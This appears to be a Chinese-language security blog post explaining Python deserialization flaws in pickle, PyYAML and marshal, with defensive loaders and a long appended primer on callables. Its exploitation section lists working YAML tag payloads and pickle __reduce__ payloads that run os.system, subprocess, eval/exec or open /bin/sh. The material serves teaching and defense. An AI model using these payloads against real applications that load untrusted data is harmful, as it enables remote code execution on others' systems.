Python反序列化

Python 反序列化漏洞

什么是Python的序列化与反序列化

什么是Python的序列化

众所周知,Python是一种面向对象的语言。在Python中,一切皆对象。数字,字符串,函数,模块等等,都是对象。对象的本质是内存中的一个数据结构,包含属性(数据)和方法(操作)。

由于Python中对象的形式多种多样,变化万千,在存储时按照原本的形式来存储过于庞大且麻烦,所以我们就需要把Python对象转换为可存储或可传输的标准化格式。将Python对象转换为可存储或传输的标准化格式(如字节流、字符串)的过程,就叫做Python的序列化。

什么是Python的反序列化

既然为了存储和传输方便,将Python对象通过序列化的方式转换成了一种标准化的格式,那么在程序执行时,我们就需要把标准化格式还原为Python对象,而这个过程,就叫做Python的反序列化。

序列化的本质

  • 序列化的本质是将对象的状态或数据结构转换为一种通用格式(如二进制,JSON,XML),使其可以保存到文件、数据库或通过网络传输。
  • 反序列化是逆过程,将序列化后的数据还原为原始对象。

Python中序列化的实现过程

Python庞大的库,为Python强大的功能实现提供支撑和保障。同样的,Python中序列化和反序列化的实现也是通过一些库和模块来实现的。

  1. pickle模块 作为Python的原生模块,pickle支持几乎所有的Python对象 使用pickle进行序列化生成的是二进制格式数据

代码示例:

1
2
3
4
5
6
7
8
import pickle

data = {"name": "Alice", "age": 30}
serialized_data = pickle.dumps(data)  # 序列化为字节流

# 保存到文件
with open("data.pkl", "wb") as f:
    pickle.dump(data, f)  
  1. json模块 json可以生成人类可读的JSON字符串 但json只支持基础类型(字典、列表、字符串、数字等),不支持Python特有对象(如类实例)的序列化。

代码示例:

1
2
3
4
5
6
7
8
import json

data = {"name": "Bob", "age": 25}
json_str = json.dumps(data)  # 序列化为JSON字符串

# 保存到文件
with open("data.json", "w") as f:
    json.dump(data, f)  
  1. PyYAML库 YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,常用于配置文件和数据交换。Python 中通过 PyYAML 库支持 YAML。

序列化实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import yaml

data = {
    "name": "Alice",
    "age": 30,
    "skills": ["Python", "YAML"],
    "address": {"city": "Shanghai", "zip": 200000}
}

# 序列化为YAML字符串
yaml_str = yaml.dump(data, default_flow_style=False)
print(yaml_str)  

输出:

1
2
3
4
5
6
7
8
address:
city: Shanghai
zip: 200000
age: 30
name: Alice
skills:
- Python
- YAML  

保存/读取文件:

1
2
3
4
5
6
7
# 写入文件
with open("data.yaml", "w") as f:
    yaml.dump(data, f)

# 读取文件
with open("data.yaml", "r") as f:
    loaded_from_file = yaml.safe_load(f)  
  1. 使用 Protocol Buffers(protobuf)实现序列化 Protocol Buffers 是 Google 开发的高效二进制序列化格式,适合高性能通信和跨语言数据交换。需预先定义数据结构(.proto 文件)。

Python中反序列化实现过程

在以上Python序列化实现过程中,使用pickle模块和Pyyaml库,在实现反序列化的过程中存在安全风险。我们先来看看他们的反序列化过程是如何实现的

YAML 反序列化实现

YAML的反序列化过程通过PyYAML库实现,本质是将YAML文本解析为Python对象。默认的 yaml.load() 方法支持动态构造Python对象(包括类实例),但这也带来了安全风险。

反序列化步骤:

1.安装依赖

1
pip install pyyaml  

2.基础反序列化(安全模式):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import yaml

# YAML 文本(仅包含基础类型)
yaml_text = """
name: Alice
age: 30
skills:
- Python
- YAML
"""

# 安全反序列化:仅解析基本类型(字典、列表等)
data = yaml.safe_load(yaml_text)
print(data["name"])  # 输出 Alice  

3.动态对象反序列化(危险!):

  YAML 可以通过标签(!!python/object)动态构造 Python 对象,例如:

1
2
# 恶意示例:反序列化时执行代码
!!python/object/apply:os.system ["echo 'Hacked!'"]  

  危险的反序列化代码:

1
2
3
4
5
# 不要对不可信数据使用 yaml.load()!
malicious_yaml = """
!!python/object/apply:os.system ["echo 'Hacked!'"]
"""
yaml.load(malicious_yaml, Loader=yaml.UnsafeLoader)  # 输出 Hacked!  

安全实践

  始终使用 yaml.safe_load():仅解析基础类型(字典、列表、字符串、数字),禁止动态对象构造。

  禁用危险标签:若必须解析对象,需自定义加载器,过滤允许的类。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from yaml import SafeLoader, Node, Constructor

class RestrictedLoader(SafeLoader):
    def construct_python_object(self, node: Node):
        raise yaml.ConstructorError("禁止动态对象构造")

# 注册自定义加载器
RestrictedLoader.add_constructor(
    "tag:yaml.org,2002:python/object",
    RestrictedLoader.construct_python_object
)

data = yaml.load(yaml_text, Loader=RestrictedLoader)  # 安全加载  

Pickle 反序列化实现

Pickle 的反序列化通过 pickle.load()pickle.loads() 实现,其底层会重建对象的完整状态,包括调用__reduce__方法(若存在),从而可能执行任意代码。

反序列化步骤:

1.序列化一个对象:

1
2
3
4
5
6
7
8
9
import pickle

class User:
    def __init__(self, name):
        self.name = name

# 序列化对象
user = User("Alice")
serialized = pickle.dumps(user)  

2.基础反序列化:

1
2
3
# 反序列化
loaded_user = pickle.loads(serialized)
print(loaded_user.name)  # 输出 Alice  

3.恶意反序列化示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle
import os

class Malicious:
    def __reduce__(self):
        # 反序列化时执行系统命令
        return (os.system, ("echo 'Hacked!'",))

# 生成恶意 payload
payload = pickle.dumps(Malicious())

# 反序列化触发攻击
pickle.loads(payload)  # 输出 Hacked!  

安全风险根源:

  __reduce__方法:在反序列化时自动调用,返回一个元组(函数、参数),执行函数。

  任意代码执行:攻击者可构造恶意__reduce__方法,执行危险操作(如删除文件、反弹Shell)。

防御方法

  避免反序列化不可信数据:永远不要对来源未知的数据使用 pickle.load()

  限制允许的类(白名单):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle

class SafeUnpickler(pickle.Unpickler):
    allowed_classes = {"__main__.User"}  # 仅允许User类

    def find_class(self, module, name):
        full_name = f"{module}.{name}"
        if full_name not in self.allowed_classes:
            raise pickle.UnpicklingError(f"禁止的类: {full_name}")
        return super().find_class(module, name)

# 安全反序列化
safe_data = SafeUnpickler(io.BytesIO(serialized)).load()  

反序列化漏洞的成因

我们上面提到了YAML和pickle的反序列化过程以及他们的风险漏洞,这里来总结一下。

YAML的反序列化漏洞

造成YAML反序列化漏洞的原因是由于过于相信YAML数据来源,在反序列化的过程中使用了一些危险标签,使得攻击者利用这些标签使用 yaml.load() 方法来动态构造Python对象,导致程序错误地调用了 os.system() 进行命令执行

Pickle 的反序列化漏洞

造成pickle反序列化漏洞的原因是在反序列化过程中,存在调用__reduce__方法的可能,这一方法使得攻击者可以通过构造恶意类,在__reduce__中返回一个危险的可调用对象(如 os.system),从而在反序列化时触发任意代码执行。

为什么__reduce__危险?
  • 完全控制反序列化逻辑:

__reduce__允许攻击者指定任意函数和参数,且反序列化时自动执行。

  • 绕过对象状态限制:

即使目标代码中没有恶意类,攻击者也可以构造包含危险函数的__reduce__

Python反序列化漏洞的利用

我们已经讨论过Python中的反序列化漏洞是由于错误使用yaml.load()、危险标签和__reduce__,导致的命令执行漏洞,因此,我们的利用点也着眼于此。

yaml漏洞的利用

对于PyYaml<5.1版本下的漏洞,其主要原因主要出现在下面五个python标签:

1
2
3
4
5
python/name
python/module
python/object
python/object/new
python/object/apply

漏洞成因:

 由于上面提到的五个标签,在constructor.py文件被加载器解析导致,攻击者利用这类标签可以达到任意命令执行,以及验证绕过等漏洞的利用。

payload:

1
2
3
4
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]    
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]  

在5.1之后的yaml中load函数被限制使用了,会被警告提醒加上一个参数 Loader

针对不同的需要,选择不同的加载器,有以下几种加载器

1
2
3
4
5
6
7
8
9
BaseConstructor:仅加载最基本的YAML

SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)

FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。

UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load

Constructor:等同于UnsafeConstructor

如果说指定的加载器是UnsafeConstructor 或者Constructor,那么利用方式就照旧

payload

我们可以用python的内置函数eval(或者exec)来执行代码,用map来触发函数执行,用tuple将map对象转化为元组输出来(当然用list、frozenset、bytes都可以),用python写出来如下

1
tuple(map(eval, ["__import__('os').system('whoami')"]))

变为yaml

1
2
3
4
5
6
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")

除此之外网上还有很多大佬有其他的payload

1
2
3
4
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
1
2
3
4
5
6
7
8
9
#报错但是执行了
  - !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
    args: [0]
    state:
        update: !!python/name:exec
1
2
3
4
5
6
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

参考:

PyYaml反序列化漏洞

PyYAML反序列化漏洞

Pickle 漏洞利用

漏洞常见出现地方

  1. 通常在解析认证token, session的时候. 现在很多 Web 服务都使用redismongodbmemcached等来存储session等状态信息.
  2. 可能将对象 Pickle 后存储成磁盘文件.
  3. 可能将对象 Pickle 后在网络中传输.

基本 Payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import os
import pickle

class Demo(object):
    def __reduce__(self):
        shell = '/bin/sh'
        return (os.system,(shell,))

demo = Demo()
pickle.loads(pickle.dumps(demo))  
Marshal 反序列化

由于pickle无法序列化code对象, 因此在python2.6后增加了一个marshal模块来处理code对象的序列化问题.

1
2
3
4
5
6
7
8
9
import base64
import marshal

def demo():
    import os
    os.system('/bin/sh')

code_serialized = base64.b64encode(marshal.dumps(demo()))
print(code_serialized)  

但是marshal不能直接使用__reduce__, 因为reduce是利用调用某个callable并传递参数来执行的, 而marshal函数本身就是一个callable, 需要执行它, 而不是将他作为某个函数的参数.

Pyload(PyYaml >= 5.1)

1
2
3
4
5
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader)
print(deserialized_data)
1
2
3
4
5
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data) 
print(deserialized_data)  

参考:

Python反序列化漏洞与沙箱逃逸

Pickle反序列化

Python安全学习—Python反序列化漏洞

python反序列化详解


其他:

关于callable: 在 Python 中,“callable”(可调用对象) 是指任何可以通过 () 运算符调用的对象。简单来说,如果一个对象可以像函数一样被调用(例如 obj()),它就是可调用的。以下是关于 callable 的详细解释:

1. 常见的可调用对象类型

(1) 函数(Function)

  • 包括内置函数、自定义函数、Lambda 函数。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    python
    def greet(name):
        print(f"Hello, {name}!")
    
    # 调用函数
    greet("Alice")  # 输出 Hello, Alice!
    
    # Lambda 也是可调用的
    add = lambda a, b: a + b
    print(add(3, 5))  # 输出 8
    

(2) 类(Class)

  • 类本身是可调用的

    ,调用类会创建它的实例。

    1
    2
    3
    4
    5
    6
    7
    
    python
    class Dog:
        def __init__(self, name):
            self.name = name
    
    # 调用类创建实例
    my_dog = Dog("Buddy")  # Dog 类是可调用的
    

(3) 方法(Method)

  • 类中定义的方法(实例方法、类方法、静态方法)。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    python
    class Calculator:
        def add(self, a, b):  # 实例方法
            return a + b
    
        @classmethod
        def multiply(cls, a, b):  # 类方法
            return a * b
    
        @staticmethod
        def subtract(a, b):  # 静态方法
            return a - b
    
    calc = Calculator()
    calc.add(2, 3)           # 实例方法调用
    Calculator.multiply(2, 3)  # 类方法调用
    Calculator.subtract(5, 2)  # 静态方法调用
    

(4) 实现了 __call__ 方法的对象

  • 如果一个类定义了

    1
    
    __call__
    

    方法,它的实例会成为可调用对象。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    python
    class Adder:
        def __init__(self, x):
            self.x = x
    
        def __call__(self, y):
            return self.x + y
    
    add_5 = Adder(5)
    print(add_5(3))  # 输出 8(等价于 add_5.__call__(3))
    

(5) 其他内置可调用对象

  • 生成器函数、部分函数(

    1
    
    functools.partial
    

    )等。

    1
    2
    3
    4
    5
    6
    7
    8
    
    python
    import functools
    
    def power(base, exp):
        return base ** exp
    
    square = functools.partial(power, exp=2)  # 部分函数
    print(square(3))  # 输出 9
    

2. 如何判断一个对象是否可调用?

使用内置函数 callable() 可以检测对象是否可调用:

1
2
3
4
python
print(callable(len))        # True(内置函数)
print(callable("hello"))    # False(字符串不可调用)
print(callable(Adder(5)))   # True(实现了 __call__ 的实例)

3. 不可调用的对象示例

  • 基础数据类型:整数、字符串、列表等。

    1
    2
    3
    
    python
    x = 42
    x()  # 报错:'int' object is not callable
    
  • 未实现 __call__ 的实例

    1
    2
    3
    4
    5
    6
    
    python
    class Cat:
        pass
    
    my_cat = Cat()
    my_cat()  # 报错:'Cat' object is not callable
    

4. Callable 的实际应用场景

  1. 装饰器(Decorator)

    • 装饰器本身必须是可调用对象(函数或类)。

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      
      python
      def logger(func):
          def wrapper(*args, **kwargs):
              print(f"Calling {func.__name__}")
              return func(*args, **kwargs)
          return wrapper
      
      @logger
      def say_hello():
          print("Hello!")
      
      say_hello()  # 输出 "Calling say_hello" 和 "Hello!"
      
  2. 动态调用函数

    • 通过变量名动态调用函数。

      1
      2
      3
      4
      5
      6
      
      python
      def do_operation(op, a, b):
          operations = {"add": lambda x, y: x + y, "mul": lambda x, y: x * y}
          return operations[op](a, b)
      
      print(do_operation("add", 3, 5))  # 输出 8
      
  3. 回调机制

    • 将函数作为参数传递,在特定事件发生时调用。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      
      python
      def on_button_click(callback):
          print("按钮被点击了!")
          callback()
      
      def show_message():
          print("执行回调函数")
      
      on_button_click(show_message)
      

总结

  • 可调用对象是 Python 的核心概念之一,包括函数、类、方法和实现了 __call__ 的实例。
  • 使用 callable() 可以快速检测对象是否可调用。
  • 理解 callable 是掌握装饰器、动态编程和回调机制的关键。
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计